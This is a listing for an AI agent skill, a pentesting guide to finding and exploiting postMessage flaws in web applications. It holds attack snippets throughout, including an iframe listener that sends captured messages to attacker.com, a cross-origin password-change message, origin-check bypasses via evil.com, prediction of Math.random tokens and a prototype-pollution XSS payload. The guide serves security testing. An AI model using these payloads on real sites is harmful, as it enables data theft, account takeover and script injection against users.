# Postmessage Vulnerabilities

> How to identify and exploit postMessage vulnerabilities in web applications. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe messaging, event listeners, origin validation, or wants to test for message-based XSS, prototype pollution, or token theft. Trigger for any pentesting task involving JavaScript messaging APIs, cross-origin data flows, or third-party SDK integrations.

- Skill: `abelrguezr/postmessage-vulnerabilities` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/postmessage-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/postmessage-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/postmessage-vulnerabilities

---


# PostMessage Vulnerabilities

A comprehensive guide to identifying and exploiting postMessage vulnerabilities in web applications.

## Quick Start

1. **Enumerate** postMessage listeners on the target page
2. **Identify** weak origin validation patterns
3. **Test** for common bypass techniques
4. **Exploit** based on the vulnerability type found

## Enumeration

### Find Event Listeners

**Method 1: Search JavaScript files**
```bash
grep -r "addEventListener.*message" /path/to/js/
grep -r "\$\(window\).on.*message" /path/to/js/
```

**Method 2: Browser DevTools**
```javascript
// In console
getEventListeners(window)
```

**Method 3: DevTools UI**
- Go to Elements → Event Listeners tab
- Look for `message` event handlers

**Method 4: Browser Extensions**
- [Posta](https://github.com/benso-io/posta)
- [postMessage-tracker](https://github.com/fransr/postMessage-tracker)

These intercept and display all postMessage traffic.

## Common Vulnerability Patterns

### 1. Wildcard Target Origin

**Vulnerable code:**
```javascript
window.postMessage('sensitive data', '*')
```

**Exploit:** If the page can be iframed (no X-Frame-Options), you can:
1. Create an iframe pointing to the victim page
2. Listen for messages with `window.addEventListener('message', handler)`
3. Receive all messages sent with `*` target origin

**Attack vector:**
```html
<iframe src="https://victim.com/sensitive-page"></iframe>
<script>
window.addEventListener('message', (e) => {
  console.log('Stolen:', e.data);
  fetch('https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(e.data)));
});
</script>
```

### 2. Missing Origin Validation

**Vulnerable code:**
```javascript
window.addEventListener('message', (e) => {
  // No origin check!
  processSensitiveData(e.data);
});
```

**Exploit:** Send arbitrary messages from any origin:
```javascript
const victimWindow = window.open('https://victim.com/');
victimWindow.postMessage({
  action: 'changePassword',
  newPassword: 'attacker-controlled'
}, '*');
```

### 3. Weak Origin Validation

**indexOf() bypass:**
```javascript
// Vulnerable
if (event.origin.indexOf('https://trusted.com') !== -1) {
  // ...
}

// Bypass with: https://attacker-trusted.com.evil.com
```

**search() bypass:**
```javascript
// Vulnerable - treats string as regex
if (event.origin.search('trusted.com') !== -1) {
  // ...
}

// Bypass with: trustedXcom (X matches any char in regex)
```

**match() bypass:**
```javascript
// Vulnerable
if (event.origin.match(/trusted\.com/)) {
  // ...
}

// Bypass with: trusted.com.evil.com (matches the pattern)
```

### 4. e.origin == window.origin Bypass

**Scenario:** Sandboxed iframes with `allow-popups` but not `allow-popups-to-escape-sandbox`

**Exploit:** Both iframe and popup have `null` origin:
```javascript
// In sandboxed iframe
const popup = window.open('https://attacker.com/');
// e.origin === null, window.origin === null
// So e.origin == window.origin evaluates to true
```

### 5. e.source Bypass

**Vulnerable check:**
```javascript
if (received_message.source !== window) {
  return;
}
```

**Bypass:** Create and immediately delete an iframe:
```javascript
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('data', '*');
document.body.removeChild(iframe);
// e.source is now null
```

## Advanced Attack Patterns

### Origin-Derived Script Loading

**Pattern:** SDK stores `event.origin` and uses it to load scripts

**Exploit:**
1. Send postMessage from attacker origin
2. SDK stores attacker origin in localStorage
3. SDK loads script from attacker origin
4. Attacker JS runs in victim context

**Example (CAPIG case study):**
```javascript
// Attacker sends
window.postMessage({
  msg_type: 'IWL_BOOTSTRAP',
  pixel_id: '12345'
}, '*');

// SDK stores event.origin and later loads:
// ${event.origin}/sdk/${pixel_id}/iwl.js
```

### Trusted Relay Abuse

**Pattern:** Trusted origin has endpoints that forward URL params via postMessage

**Exploit:**
1. Find relay endpoint on trusted origin (e.g., `/preview?msg=...`)
2. Navigate attacker-controlled window to relay with crafted params
3. Relay sends postMessage from trusted origin
4. Victim listener accepts it (origin check passes)

**Example:**
```javascript
// Attacker page
const relay = window.open('https://trusted.com/relay?msg_type=ADMIN_ACTION&token=STOLEN');
// Relay sends postMessage from trusted.com origin
// Victim accepts it
```

### Math.random() Token Prediction

**Pattern:** Callback tokens generated with `Math.random()`

**Exploit:**
1. Leak PRNG outputs via `window.name` on plugin iframes
2. Use V8 predictor (e.g., [v8-randomness-predictor](https://github.com/PwnFunction/v8-randomness-predictor))
3. Predict next callback token
4. Forge trusted messages

**Example:**
```javascript
// Leaked iframe name: "f7a3b2c1d4e5"
// Convert back to float, feed to predictor
// Get next predictedFloat
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "");
// Use callback in forged message
```

### Prototype Pollution via postMessage

**Pattern:** postMessage data merged into objects without sanitization

**Exploit:**
```javascript
const victim = window.open('https://victim.com/iframe');
victim.postMessage({
  '__proto__': {
    'isAdmin': true,
    'username': '<img src=x onerror=alert(1)>'
  }
}, '*');
```

## Testing Checklist

- [ ] Can the page be iframed? (Check X-Frame-Options, Content-Security-Policy)
- [ ] Are there postMessage listeners? (Use enumeration methods above)
- [ ] Do listeners validate event.origin?
- [ ] Is validation using indexOf/search/match? (Weak patterns)
- [ ] Is targetOrigin set to '*'?
- [ ] Are there third-party SDKs with postMessage handlers?
- [ ] Can you find relay endpoints on trusted origins?
- [ ] Are callback tokens predictable?

## Tools

- **Posta:** https://github.com/benso-io/posta
- **postMessage-tracker:** https://github.com/fransr/postMessage-tracker
- **V8 Randomness Predictor:** https://github.com/PwnFunction/v8-randomness-predictor
- **EventListener XSS Recon:** https://github.com/yavolo/eventlistener-xss-recon

## References

- [DOM XSS via postMessage](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [How to Spot and Exploit postMessage Vulnerabilities](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- [Leaking fbevents: OAuth code exfiltration](https://ysamm.com/uncategorized/2026/01/16/leaking-fbevents-ato.html)
- [CAPIG postMessage origin trust](https://ysamm.com/uncategorized/2025/01/13/capig-xss.html)
- [Facebook SDK Math.random prediction](https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html)

